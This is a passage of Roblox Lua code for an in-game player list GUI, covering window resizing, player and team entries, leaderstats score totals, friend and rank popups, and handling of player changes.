  3693.         IsMaximized.Changed:connect(UpdateMaximize)
  3694.         IsMinimized.Changed:connect(UpdateMinimize)
  3695.    
  3696.         ExtendButton.MouseButton1Down:connect(function()
  3697.             if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
  3698.             LastClick = time()
  3699.             if IsTabified.Value then
  3700.                 UnTabify()
  3701.             else
  3702.                 StartMinimizeDrag()
  3703.             end
  3704.         end)
  3705.    
  3706.         MaximizeButton.MouseButton1Click:connect(function()
  3707.             if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
  3708.             LastClick = time()
  3709.             if IsTabified.Value then
  3710.                 UnTabify()
  3711.             elseif not AreNamesExpanded.Value then
  3712.                 AreNamesExpanded.Value = true
  3713.                 BaseUpdate()
  3714.             else
  3715.                 ToggleMaximize()
  3716.             end
  3717.         end)
  3718.    
  3719.         MaximizeButton.MouseButton2Click:connect(function()
  3720.             if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
  3721.             LastClick = time()
  3722.             if IsTabified.Value then
  3723.                 UnTabify()
  3724.             elseif IsMaximized.Value then
  3725.                 ToggleMaximize()
  3726.             elseif AreNamesExpanded.Value then
  3727.                 AreNamesExpanded.Value = false
  3728.                 BaseUpdate()
  3729.             else
  3730.                 Tabify()
  3731.             end
  3732.         end)
  3733.    
  3734.    
  3735.         -------------------------------  
  3736.         -- MiddleFrames management
  3737.         -------------------------------
  3738.     --[[
  3739.         adds a background frame to the listframe
  3740.     --]]
  3741.         function AddMiddleBGFrame()
  3742.             local nBGFrame = MiddleBGTemplate:Clone()
  3743.             nBGFrame.Position = UDim2.new(.5,0,((#MiddleFrameBackgrounds) * nBGFrame.Size.Y.Scale),0)
  3744.             if (#MiddleFrameBackgrounds+1)%2 ~= 1 then
  3745.                 if IsMaximized.Value then
  3746.                     nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark']
  3747.                 else
  3748.                     nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark']
  3749.                 end
  3750.             else
  3751.                 if IsMaximized.Value then
  3752.                     nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight']
  3753.                 else
  3754.                     nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight']
  3755.                 end
  3756.             end
  3757.             nBGFrame.Parent = ListFrame
  3758.             table.insert(MiddleFrameBackgrounds,nBGFrame)
  3759.    
  3760.             if #MiddleFrameBackgrounds<DefaultListSize and not DidMinimizeDrag then
  3761.                 --print('readjusting bottom clip')
  3762.                 DefaultBottomClipPos=-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)
  3763.             end
  3764.    
  3765.             if not IsMinimized.Value  then
  3766.                 UpdateMinimize()
  3767.             end
  3768.         end
  3769.     --[[
  3770.         removes a background from from the listframe
  3771.     --]]
  3772.         function RemoveMiddleBGFrame()
  3773.             MiddleFrameBackgrounds[#MiddleFrameBackgrounds]:Destroy()
  3774.             table.remove(MiddleFrameBackgrounds,#MiddleFrameBackgrounds)
  3775.             if not IsMinimized.Value then
  3776.                 UpdateMinimize()
  3777.             end
  3778.         end
  3779.         -------------------------------  
  3780.         -- Player Callback functions
  3781.         -------------------------------
  3782.         local FONT_SIZES =
  3783.             {'Size8','Size9','Size10','Size11','Size12','Size14','Size24','Size36','Size48'}
  3784.     --[[
  3785.         note:should probably set to something other than mainFrame.AbsoluteSize, should work for now
  3786.         if textbounds ever works on textscaled, switch to that :(
  3787.     --]]
  3788.         function ChangeHeaderName(nname)
  3789.             HeaderName.Text = nname
  3790.             UpdateHeaderNameSize()
  3791.         end
  3792.    
  3793.     --[[
  3794.         Will fit the player's name to the bounds of the header
  3795.         called on resize of the window and playedr name change events
  3796.         HACK: cannot use 'Textscaled' due to unable to find text bounds when scaled
  3797.     --]]
  3798.         function UpdateHeaderNameSize()
  3799.             local tHeader= HeaderName:Clone()
  3800.             tHeader.Position=UDim2.new(2,0,2,0)
  3801.             tHeader.Parent=ScreenGui
  3802.             local fSize=7 --Size24 in table
  3803.             tHeader.FontSize=FONT_SIZES[fSize]
  3804.             Delay(.2,function()
  3805.                 while tHeader.TextBounds.x==0 do wait(1/30) end
  3806.                 while tHeader.TextBounds.x-(NormalBounds.X.Offset) > 1 do
  3807.                     fSize=fSize-1
  3808.                     tHeader.FontSize=FONT_SIZES[fSize]
  3809.                     wait(.2)
  3810.                 end
  3811.                 HeaderName.FontSize=tHeader.FontSize
  3812.                 tHeader:Destroy()
  3813.             end)
  3814.         end
  3815.         ScreenGui.Changed:connect(UpdateHeaderNameSize)
  3816.    
  3817.     --[[
  3818.         called only when the leaderstats object is added to a given player entry
  3819.         removes old stats, adds any existing stats, and sets up listeners for new stats
  3820.         @Args:
  3821.         playerEntry     A reference to the ENTRY(table) of the player who had leaderstats added
  3822.     --]]
  3823.         function LeaderstatsAdded(playerEntry)
  3824.             --RemoveAllStats(playerEntry)
  3825.             local nplayer = playerEntry['Player']
  3826.             for _,i in pairs(nplayer.leaderstats:GetChildren()) do
  3827.                 StatAdded(i,playerEntry)
  3828.             end
  3829.             nplayer.leaderstats.ChildAdded:connect(function(nchild) StatAdded(nchild,playerEntry) end)
  3830.             nplayer.leaderstats.ChildRemoved:connect(function(nchild) StatRemoved(nchild,playerEntry) end)
  3831.         end
  3832.     --[[
  3833.         called when leaderstats object is removed from play in player entry
  3834.         Note: may not be needed, might be able to just rely on leaderstats added
  3835.         @Args:
  3836.         oldLeaderstats  leaderstats object to be removed
  3837.         playerEntry     A reference to the ENTRY(table) of the player
  3838.     --]]
  3839.         function LeaderstatsRemoved(oldLeaderstats,playerEntry)
  3840.             while AddingFrameLock do debugprint('waiting to insert '..playerEntry['Player'].Name) wait(1/30) end
  3841.             AddingFrameLock = true
  3842.             RemoveAllStats(playerEntry)
  3843.             AddingFrameLock = false
  3844.         end
  3845.    
  3846.         function ClosePopUpPanel()
  3847.             if SelectedPlayerEntry then
  3848.                 local tframe = SelectedPlayerEntry['Frame']
  3849.                 Spawn(function() TweenProperty(tframe,'BackgroundTransparency',.5,1,BASE_TWEEN) end)
  3850.             end
  3851.             PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
  3852.             wait(.1)
  3853.             InPopupWaitForClick= false
  3854.             SelectedPlayerEntry = nil
  3855.         end
  3856.    
  3857.     --[[
  3858.         prepares the needed popup to be tweened on screen, and updates the position of the popup clip
  3859.         frame to match the selected player frame's position
  3860.     --]]
  3861.         function InitMovingPanel( entry, player)
  3862.             PopUpClipFrame.Parent= ScreenGui
  3863.    
  3864.             if PopUpPanel then
  3865.                 PopUpPanel:Destroy()
  3866.             end
  3867.             PopUpPanel= PopUpPanelTemplate:Clone()
  3868.             PopUpPanel.Parent= PopUpClipFrame
  3869.    
  3870.             local nextIndex = 2
  3871.             local friendStatus = GetFriendStatus(player)
  3872.             debugprint (tostring(friendStatus))
  3873.             local showRankMenu = IsPersonalServer and LocalPlayer.PersonalServerRank >= PrivilegeLevel['Admin'] and LocalPlayer.PersonalServerRank > SelectedPlayer.PersonalServerRank
  3874.    
  3875.    
  3876.             local ReportPlayerButton = MakePopupButton(PopUpPanel,'Report Player',0)
  3877.             ReportPlayerButton.MouseButton1Click:connect(function() OpenAbuseDialog() end)
  3878.             local FriendPlayerButton = MakePopupButton(PopUpPanel,'Friend',1, not showRankMenu and  friendStatus~=Enum.FriendStatus.FriendRequestReceived)
  3879.             FriendPlayerButton.MouseButton1Click:connect(OnFriendButtonSelect)
  3880.    
  3881.    
  3882.             if friendStatus==Enum.FriendStatus.Friend then
  3883.                 FriendPlayerButton:FindFirstChild('ButtonText').Text='UnFriend Player'
  3884.             elseif friendStatus==Enum.FriendStatus.Unknown or friendStatus==Enum.FriendStatus.NotFriend then
  3885.                 FriendPlayerButton:FindFirstChild('ButtonText').Text='Send Request'
  3886.             elseif friendStatus==Enum.FriendStatus.FriendRequestSent then
  3887.                 FriendPlayerButton:FindFirstChild('ButtonText').Text='Revoke Request'
  3888.             elseif friendStatus==Enum.FriendStatus.FriendRequestReceived then
  3889.                 FriendPlayerButton:FindFirstChild('ButtonText').Text='Accept Friend'
  3890.                 local FriendRefuseButton = MakePopupButton(PopUpPanel,'Decline Friend',2,not showRankMenu)
  3891.                 FriendRefuseButton.MouseButton1Click:connect(OnFriendRefuseButtonSelect)
  3892.                 nextIndex=nextIndex+1
  3893.             end
  3894.    
  3895.             if showRankMenu then
  3896.                 local BanPlayerButton = MakePopupButton(PopUpPanel,'Ban',nextIndex)
  3897.                 local VisitorButton = MakePopupButton(PopUpPanel,'Visitor',nextIndex+1)
  3898.                 local MemberButton = MakePopupButton(PopUpPanel,'Member',nextIndex+2)
  3899.                 local AdminButton = MakePopupButton(PopUpPanel,'Admin',nextIndex+3,true)
  3900.    
  3901.                 BanPlayerButton.MouseButton1Click:connect(function()
  3902.                     OnPrivilegeLevelSelect(player,PrivilegeLevel['Banned'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  3903.                 end)
  3904.                 VisitorButton.MouseButton1Click:connect(function()
  3905.                     OnPrivilegeLevelSelect(player,PrivilegeLevel['Visitor'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  3906.                 end)
  3907.                 MemberButton.MouseButton1Click:connect(function()
  3908.                     OnPrivilegeLevelSelect(player,PrivilegeLevel['Member'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  3909.                 end)
  3910.                 AdminButton.MouseButton1Click:connect(function()
  3911.                     OnPrivilegeLevelSelect(player,PrivilegeLevel['Admin'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  3912.                 end)
  3913.    
  3914.                 HighlightMyRank(SelectedPlayer,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  3915.             end
  3916.    
  3917.             PopUpPanel:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN,true)
  3918.             Delay(0, function()
  3919.                 local tconnection
  3920.                 tconnection = Mouse.Button1Down:connect(function()
  3921.                     tconnection:disconnect()
  3922.                     ClosePopUpPanel()
  3923.                 end)
  3924.             end)
  3925.    
  3926.             local myFrame = entry['Frame']
  3927.             -- THIS IS GARBAGE.
  3928.             -- if I parent to frame to auto update position, it gets clipped
  3929.             -- sometimes garbage is the only option.
  3930.             Spawn(function()
  3931.                 while InPopupWaitForClick do
  3932.                     PopUpClipFrame.Position=UDim2.new( 0,myFrame.AbsolutePosition.X-PopUpClipFrame.Size.X.Offset,0,myFrame.AbsolutePosition.Y)
  3933.                     wait()
  3934.                 end
  3935.             end)
  3936.    
  3937.         end
  3938.    
  3939.     --[[
  3940.         Called when a player entry in the leaderboard is clicked
  3941.         either will highlight entry and start the drag event, or open a popup menu
  3942.         @Args:
  3943.         entry   the player entry clicked
  3944.     --]]
  3945.         function OnPlayerEntrySelect(entry,startx,starty)
  3946.    
  3947.             if not InPopupWaitForClick then
  3948.    
  3949.                 SelectedPlayerEntry = entry
  3950.                 SelectedPlayer = entry['Player']
  3951.    
  3952.                 StartDrag(entry,startx,starty)
  3953.             end
  3954.    
  3955.    
  3956.         end
  3957.    
  3958.         function ActivatePlayerEntryPanel(entry)
  3959.             entry['Frame'].BackgroundColor3 = Color3.new(0,1,1)
  3960.             Spawn(function() TweenProperty(entry['Frame'],'BackgroundTransparency',1,.5,.5) end)
  3961.             InPopupWaitForClick=true
  3962.             InitMovingPanel(entry,entry['Player'])
  3963.         end
  3964.    
  3965.     --[[
  3966.         the basic update for the playerlist mode's state,
  3967.         assures the order and length of the player frames
  3968.     --]]
  3969.         function PlayerListModeUpdate()
  3970.             RecreateScoreColumns(PlayerFrames)
  3971.             table.sort(PlayerFrames,PlayerSortFunction)
  3972.             for i,val in ipairs(PlayerFrames) do
  3973.                 MiddleFrames[i] = val['Frame']
  3974.             end
  3975.             for i = #PlayerFrames + 1,#MiddleFrames,1 do
  3976.                 MiddleFrames[i] = nil
  3977.             end
  3978.             UpdateMinimize()
  3979.         end
  3980.     --[[
  3981.         this one's a doozie, happens when a player is added to the game
  3982.         inits their player frame and player entry, assigns them to a team if possible,
  3983.         and hooks up their leaderstats
  3984.         @Args:
  3985.         nplayer     new player object to insert
  3986.     --]]
  3987.         function GetMembershipTypeIconWidth(membershipType, name)
  3988.             return ADMIN_ICON_WIDTHS[name:lower()] or 16
  3989.         end
  3990.    
  3991.         function InsertPlayerFrame(nplayer)
  3992.             if HIDDEN_PLAYERS[nplayer.Name:lower()] == true then return end
  3993.    
  3994.             while AddingFrameLock do debugprint('waiting to insert '..nplayer.Name) wait(1/30) end
  3995.             AddingFrameLock = true
  3996.    
  3997.             local nFrame = MiddleTemplate:Clone()
  3998.             WaitForChild(WaitForChild(nFrame,'TitleFrame'),'Title').Text = GetAliasOf(nplayer.Name)
  3999.             coroutine.resume(coroutine.create(function() nFrame.TitleFrame:WaitForChild 'DropShadow' while wait(1) do
  4000.                     nFrame.TitleFrame.Title.Text = GetAliasOf(nplayer.Name)
  4001.                     nFrame.TitleFrame.DropShadow.Text = GetAliasOf(nplayer.Name)
  4002.                 end end))
  4003.    
  4004.             nFrame.Position = UDim2.new(1,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0)
  4005.    
  4006.             local nfriendstatus = GetFriendStatus(nplayer)
  4007.    
  4008.             local oldIconWidth = 0
  4009.    
  4010.             coroutine.resume(coroutine.create(function() while true do
  4011.                     nFrame:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(nplayer.MembershipType,nplayer.Name)
  4012.                     local membershipIconWidth = GetMembershipTypeIconWidth(nplayer.MembershipType,nplayer.Name)+5
  4013.                     local iconWidthDiff = membershipIconWidth - oldIconWidth
  4014.                     oldIconWidth = membershipIconWidth
  4015.    
  4016.                     nFrame:FindFirstChild('BCLabel').Size = UDim2.new(0, membershipIconWidth-5, 0, 16)
  4017.    
  4018.                     nFrame:FindFirstChild('FriendLabel').Image = getFriendStatusIcon(nfriendstatus)
  4019.                     nFrame.Name = nplayer.Name
  4020.    
  4021.                     --move for bc label
  4022.                     nFrame.FriendLabel.Position=nFrame.FriendLabel.Position+UDim2.new(0,iconWidthDiff,0,0)
  4023.                     nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0)
  4024.    
  4025.                     if(nFrame:FindFirstChild('FriendLabel').Image ~= '') then
  4026.                         nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0)
  4027.                     end
  4028.    
  4029.                     -- custom background colors
  4030.                     if CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()] ~= nil then
  4031.                         nFrame.BackgroundTransparency = 0.5
  4032.                         nFrame.BackgroundColor3 = CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()]
  4033.                         nFrame.BorderSizePixel = 0
  4034.                     else
  4035.                         nFrame.BackgroundTransparency = 1
  4036.                     end
  4037.    
  4038.                     -- custom name colors
  4039.                     if CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()] ~= nil then
  4040.                         nFrame.TitleFrame.Title.TextColor3 = CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()]
  4041.                     else
  4042.                         nFrame.TitleFrame.Title.TextColor3 = Color3.new(1, 1, 1)
  4043.                     end
  4044.                     wait(1)
  4045.                 end end))
  4046.    
  4047.             if nplayer.Name == LocalPlayer.Name then
  4048.                 nFrame.TitleFrame.Title.Font = 'ArialBold'
  4049.                 nFrame.PlayerScore.Font = 'ArialBold'
  4050.                 ChangeHeaderName(GetAliasOf(nplayer.Name))
  4051.                 local dropShadow = nFrame.TitleFrame.Title:Clone()
  4052.                 dropShadow.TextColor3 = Color3.new(0,0,0)
  4053.                 dropShadow.TextTransparency=0
  4054.                 dropShadow.ZIndex=3
  4055.                 nFrame.TitleFrame.Title.ZIndex = 4
  4056.                 dropShadow.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,1,0,1)
  4057.                 dropShadow.Name='DropShadow'
  4058.                 dropShadow.Parent= nFrame.TitleFrame
  4059.             else
  4060.                 --Delay(2, function () OnFriendshipChanged(nplayer,LocalPlayer:GetFriendStatus(nplayer)) end)
  4061.             end
  4062.             nFrame.TitleFrame.Title.Font = 'ArialBold'
  4063.    
  4064.    
  4065.             nFrame.Parent = ListFrame
  4066.             nFrame:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
  4067.             UpdateMinimize()
  4068.             local nentry = {}
  4069.             nentry['Frame'] = nFrame
  4070.             nentry['Player'] = nplayer
  4071.             nentry['ID'] = AddId
  4072.             AddId = AddId + 1
  4073.             table.insert(PlayerFrames,nentry)
  4074.             if #TeamFrames~=0 then
  4075.    
  4076.                 if nplayer.Neutral then
  4077.                     nentry['MyTeam'] = nil
  4078.                     if not NeutralTeam then
  4079.                         AddNeutralTeam()
  4080.                     else
  4081.                         AddPlayerToTeam(NeutralTeam,nentry)
  4082.                     end
  4083.    
  4084.                 else
  4085.                     local addedToTeam=false
  4086.                     for i,tval in ipairs(TeamFrames) do
  4087.                         if tval['MyTeam'].TeamColor == nplayer.TeamColor then
  4088.                             AddPlayerToTeam(tval,nentry)
  4089.                             nentry['MyTeam'] = tval
  4090.                             addedToTeam=true
  4091.                         end
  4092.                     end
  4093.                     if not addedToTeam then
  4094.                         nentry['MyTeam']=nil
  4095.                         if not NeutralTeam then
  4096.                             AddNeutralTeam()
  4097.                         else
  4098.                             AddPlayerToTeam(NeutralTeam,nentry)
  4099.                         end
  4100.                         nentry['MyTeam'] = NeutralTeam
  4101.                     end
  4102.                 end
  4103.    
  4104.             end
  4105.    
  4106.             if  nplayer:FindFirstChild('leaderstats') then
  4107.                 LeaderstatsAdded(nentry)
  4108.             end
  4109.    
  4110.             nplayer.ChildAdded:connect(function(nchild)
  4111.                 if nchild.Name == 'leaderstats' then
  4112.                     while AddingFrameLock do debugprint('in adding leaderstats lock') wait(1/30) end
  4113.                     AddingFrameLock = true
  4114.                     LeaderstatsAdded(nentry)
  4115.                     AddingFrameLock = false
  4116.                 end
  4117.             end)
  4118.    
  4119.             nplayer.ChildRemoved:connect(function (nchild)
  4120.                 if nplayer==LocalPlayer and nchild.Name == 'leaderstats' then
  4121.                     LeaderstatsRemoved(nchild,nentry)
  4122.                 end
  4123.             end)
  4124.             nplayer.Changed:connect(function(prop)PlayerChanged(nentry,prop) end)
  4125.    
  4126.             local listener = WaitForChild(nFrame,'ClickListener')
  4127.             listener.Active = true
  4128.             listener.MouseButton1Down:connect(function(nx,ny) OnPlayerEntrySelect(nentry, nx,ny) end)
  4129.    
  4130.             AddMiddleBGFrame()
  4131.             BaseUpdate()
  4132.             AddingFrameLock = false
  4133.         end
  4134.    
  4135.     --[[
  4136.         Note:major optimization can be done here
  4137.         removes this player's frame if it exists, calls base update
  4138.     --]]
  4139.         function RemovePlayerFrame(tplayer)
  4140.             while AddingFrameLock do debugprint('in removing player frame lock') wait(1/30) end
  4141.             AddingFrameLock = true
  4142.    
  4143.             local tteam
  4144.             for i,key in ipairs(PlayerFrames) do
  4145.                 if tplayer == key['Player'] then
  4146.                     if PopUpClipFrame.Parent == key['Frame'] then
  4147.                         PopUpClipFrame.Parent = nil
  4148.                     end
  4149.                     key['Frame']:Destroy()
  4150.                     tteam=key['MyTeam']
  4151.                     table.remove(PlayerFrames,i)
  4152.                 end
  4153.             end
  4154.             if tteam then
  4155.                 for j,tentry in ipairs(tteam['MyPlayers']) do
  4156.                     if tentry['Player'] == tplayer then
  4157.                         RemovePlayerFromTeam(tteam,j)
  4158.                     end
  4159.                 end
  4160.             end
  4161.    
  4162.             RemoveMiddleBGFrame()
  4163.             UpdateMinimize()
  4164.             BaseUpdate()
  4165.             AddingFrameLock = false
  4166.         end
  4167.    
  4168.         Players.ChildRemoved:connect(RemovePlayerFrame)
  4169.    
  4170.         ----------------------------  
  4171.         -- Team Callback Functions
  4172.         ----------------------------
  4173.     --[[
  4174.         turns a list of team entries with sub lists of players into a single ordered
  4175.         list, in the correct order,and of the correct length
  4176.         @Args:
  4177.         tframes     the team entries to unroll
  4178.         outframes   the list to unroll these entries into
  4179.     --]]
  4180.         function UnrollTeams(tframes,outframes)
  4181.             local numEntries = 0
  4182.             if NeutralTeam and not NeutralTeam['IsHidden'] then
  4183.                 for i,val in ipairs(NeutralTeam['MyPlayers']) do
  4184.                     numEntries = numEntries + 1
  4185.                     outframes[numEntries] = val['Frame']
  4186.                 end
  4187.                 numEntries = numEntries + 1
  4188.                 outframes[numEntries] = NeutralTeam['Frame']
  4189.             end
  4190.             for i,val in ipairs(tframes) do
  4191.                 if not val['IsHidden'] then
  4192.                     for j,pval in ipairs(val.MyPlayers) do
  4193.                         numEntries = numEntries + 1
  4194.                         outframes[numEntries] = pval['Frame']
  4195.                     end
  4196.                     numEntries = numEntries + 1
  4197.                     outframes[numEntries] = val['Frame']
  4198.                 end
  4199.             end
  4200.             -- clear any additional entries from outframes
  4201.             for i = numEntries + 1,#outframes,1 do
  4202.                 outframes[i] = nil
  4203.             end
  4204.         end
  4205.     --[[
  4206.         uses lua's table.sort to sort the teams
  4207.     --]]
  4208.         function TeamSortFunc(a,b)
  4209.             if a['TeamScore'] == b['TeamScore'] then
  4210.                 return a['ID'] < b['ID']
  4211.             end
  4212.             if not a['TeamScore'] then return false end
  4213.             if not b['TeamScore'] then return true end
  4214.             return a['TeamScore'] < b['TeamScore']
  4215.    
  4216.         end
  4217.     --[[
  4218.         consider adding lock with wait for performance
  4219.         sorts each of the team's player lists induvidually, adds up the team scores.
  4220.         @Args:
  4221.         tentries        table of team entries  
  4222.     --]]
  4223.         function SortTeams(tentries)
  4224.    
  4225.             for i,val in ipairs(tentries) do
  4226.    
  4227.                 table.sort(val['MyPlayers'],PlayerSortFunction)
  4228.                 AddTeamScores(val)
  4229.             end
  4230.             table.sort(tentries,TeamSortFunc)
  4231.         end
  4232.     --[[
  4233.         base update for team mode, adds up the scores of all teams, sorts them,
  4234.         then unrolls them into middleframes
  4235.     --]]
  4236.         function TeamListModeUpdate()
  4237.             RecreateScoreColumns(PlayerFrames)
  4238.             SortTeams(TeamFrames)
  4239.             if NeutralTeam then
  4240.                 AddTeamScores(NeutralTeam)
  4241.                 --RecreateScoreColumns(NeutralTeam['MyPlayers'])
  4242.             end
  4243.             UnrollTeams(TeamFrames,MiddleFrames)
  4244.         end
  4245.     --[[
  4246.         adds up all the score of this team's players to form the team score
  4247.         @Args:
  4248.         team        team entry to sum the scores of
  4249.     --]]
  4250.         function AddTeamScores(team)
  4251.    
  4252.             for j = 1, #ScoreNames,1 do
  4253.                 local i = ScoreNames[j]
  4254.                 local tscore = 0
  4255.                 for _,j in ipairs(team['MyPlayers']) do
  4256.                     local tval = j['Player']:FindFirstChild('leaderstats') and j['Player'].leaderstats:FindFirstChild(i['Name'])
  4257.                     if tval and not tval:IsA('StringValue') then
  4258.                         tscore = tscore + GetScoreValue((j['Player'].leaderstats)[i['Name'] ])
  4259.                     end
  4260.                 end
  4261.                 if team['Frame']:FindFirstChild(i['Name']) then
  4262.                     --team['Frame'][i['Name'] ].Size = UDim2.new(1 - (ScrollBarFrame.Size.X.Scale * 2),- ((j-1) * SpacingPerStat),1,0)
  4263.                     team['Frame'][i['Name'] ].Text = tostring(tscore)
  4264.                 end
  4265.             end
  4266.             UpdateMinimize()
  4267.    
  4268.         end
  4269.    
  4270.     --[[
  4271.         finds previous team this player was on, and if it exists calls removeplayerfromteam
  4272.         @Args
  4273.         entry   Player entry
  4274.     --]]
  4275.         function FindRemovePlayerFromTeam(entry)
  4276.             if entry['MyTeam'] then
  4277.                 for j,oldEntry in ipairs(entry['MyTeam']['MyPlayers']) do
  4278.                     if oldEntry['Player'] == entry['Player'] then
  4279.                         RemovePlayerFromTeam(entry['MyTeam'],j)
  4280.                         return
  4281.                     end
  4282.                 end
  4283.             elseif NeutralTeam then
  4284.                 for j,oldEntry in ipairs(NeutralTeam['MyPlayers']) do
  4285.                     if oldEntry['Player'] == entry['Player'] then
  4286.                         RemovePlayerFromTeam(NeutralTeam,j)
  4287.                         return
  4288.                     end
  4289.                 end
  4290.             end
  4291.         end
  4292.     --[[
  4293.         removes a single player from a given team (not usually called directly)
  4294.         @Args:
  4295.         teamEntry       team entry to remove player from
  4296.         index           index of player in 'MyPlayers' list to remove
  4297.     --]]
  4298.         function RemovePlayerFromTeam(teamEntry,index)
  4299.             table.remove(teamEntry['MyPlayers'],index)
  4300.             --if teamEntry['AutoHide'] and #teamEntry['MyPlayers'] == 0 then
  4301.             if teamEntry==NeutralTeam and #teamEntry['MyPlayers']==0 then
  4302.                 RemoveNeutralTeam()
  4303.             end
  4304.         end
  4305.     --[[
  4306.         adds player entry entry to teamentry
  4307.         removes them from any previous team
  4308.         @Args:
  4309.         teamEntry       entry of team to add player to
  4310.         entry           player entry to add to this team
  4311.     --]]
  4312.         function AddPlayerToTeam(teamEntry,entry)
  4313.             FindRemovePlayerFromTeam(entry)
  4314.             table.insert(teamEntry['MyPlayers'],entry)
  4315.             entry['MyTeam'] = teamEntry
  4316.             if teamEntry['IsHidden'] then
  4317.                 teamEntry['Frame'].Parent = ListFrame
  4318.                 AddMiddleBGFrame()
  4319.             end
  4320.             teamEntry['IsHidden'] = false
  4321.         end
  4322.    
  4323.    
  4324.         function SetPlayerToTeam(entry)
  4325.             FindRemovePlayerFromTeam(entry)
  4326.             -- check to see if team exists, if it does add to that team
  4327.             local setToTeam = false
  4328.             for i,tframe in ipairs(TeamFrames) do
  4329.                 -- add my entry on the new team
  4330.                 if tframe['MyTeam'].TeamColor == entry['Player'].TeamColor then
  4331.                     AddPlayerToTeam(tframe,entry)
  4332.                     setToTeam = true
  4333.                 end
  4334.             end
  4335.             -- if player was set to an invalid team, then set it back to neutral
  4336.             if not setToTeam and #(game.Teams:GetTeams())>0 then
  4337.                 debugprint(entry['Player'].Name..'could not find team')
  4338.                 entry['MyTeam']=nil
  4339.                 if not NeutralTeam then
  4340.                     AddNeutralTeam()
  4341.                 else AddPlayerToTeam(NeutralTeam,entry) end
  4342.             end
  4343.         end
  4344.    
  4345.     --[[
  4346.         Note:another big one, consiter breaking up
  4347.         called when any children of player changes
  4348.         handles 'Neutral', teamColor, Name and MembershipType changes
  4349.         @Args
  4350.         entry       Player entry changed
  4351.         property    name of property changed
  4352.     --]]
  4353.         function PlayerChanged(entry, property)
  4354.             while PlayerChangedLock do
  4355.                 debugprint('in playerchanged lock')
  4356.                 wait(1/30)
  4357.             end
  4358.             PlayerChangedLock=true
  4359.             if property == 'Neutral' then
  4360.                 -- if player changing to neutral
  4361.                 if entry['Player'].Neutral and #(game.Teams:GetTeams())>0 then
  4362.                     debugprint(entry['Player'].Name..'setting to neutral')
  4363.                     FindRemovePlayerFromTeam(entry)
  4364.                     entry['MyTeam']=nil
  4365.                     if not NeutralTeam then
  4366.                         debugprint(entry['Player'].Name..'creating neutral team')
  4367.                         AddNeutralTeam()
  4368.                     else
  4369.                         debugprint(entry['Player'].Name..'adding to neutral team')
  4370.                         AddPlayerToTeam(NeutralTeam,entry)
  4371.                     end
  4372.                 elseif #(game.Teams:GetTeams())>0 then -- else player switching to a team, or a weird edgecase
  4373.                     debugprint(entry['Player'].Name..'has been set non-neutral')
  4374.                     SetPlayerToTeam(entry)
  4375.                 end
  4376.                 BaseUpdate()
  4377.             elseif property == 'TeamColor' and not entry['Player'].Neutral and entry['Player'] ~= entry['MyTeam'] then
  4378.                 debugprint(entry['Player'].Name..'setting to new team')
  4379.                 SetPlayerToTeam(entry)
  4380.                 BaseUpdate()
  4381.             elseif property == 'Name' or property == 'MembershipType' then
  4382.                 entry['Frame']:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(entry['Player'].MembershipType,entry['Player'].Name)
  4383.                 entry['Frame'].Name = entry['Player'].Name
  4384.                 entry['Frame'].TitleFrame.Title.Text = entry['Player'].Name
  4385.                 if(entry['Frame'].BCLabel.Image ~= '') then
  4386.                     entry['Frame'].TitleFrame.Title.Position=UDim2.new(.01, 30, .1, 0)
  4387.                 end
  4388.                 if entry['Player'] == LocalPlayer then
  4389.                     entry['Frame'].TitleFrame.DropShadow.Text= entry['Player'].Name
  4390.                     ChangeHeaderName(entry['Player'].Name)
  4391.                 end
  4392.                 BaseUpdate()
  4393.             end
  4394.             PlayerChangedLock=false
  4395.         end
  4396.    
  4397.         function OnFriendshipChanged(player,friendStatus)
  4398.    
  4399.             Delay(.5,function()
  4400.                 debugprint('friend status changed for:'..player.Name .." ".. tostring(friendStatus) .. " vs " .. tostring(GetFriendStatus(player)) )
  4401.                 for _, entry in ipairs(PlayerFrames) do
  4402.                     if entry['Player']==player then
  4403.                         local nicon = getFriendStatusIcon(friendStatus)
  4404.                         if nicon == '' and entry['Frame'].FriendLabel.Image ~= '' then
  4405.                             entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position-UDim2.new(0,17,0,0)
  4406.                         elseif nicon ~= '' and entry['Frame'].FriendLabel.Image == '' then
  4407.                             entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position+UDim2.new(0,17,0,0)
  4408.                             debugprint('confirmed status:'..player.Name)
  4409.                         end
  4410.                         entry['Frame'].FriendLabel.Image = nicon
  4411.                         return
  4412.                     end
  4413.                 end
  4414.             end)
  4415.         end
  4416.    
  4417.         --LocalPlayer.FriendStatusChanged:connect(OnFriendshipChanged)
  4418.    
  4419.     --[[
  4420.         adds a neutral team if nessisary
  4421.         Note: a lot of redundant code here, might want to refactor to share a function with insertteamframe
  4422.     --]]
  4423.         function AddNeutralTeam()
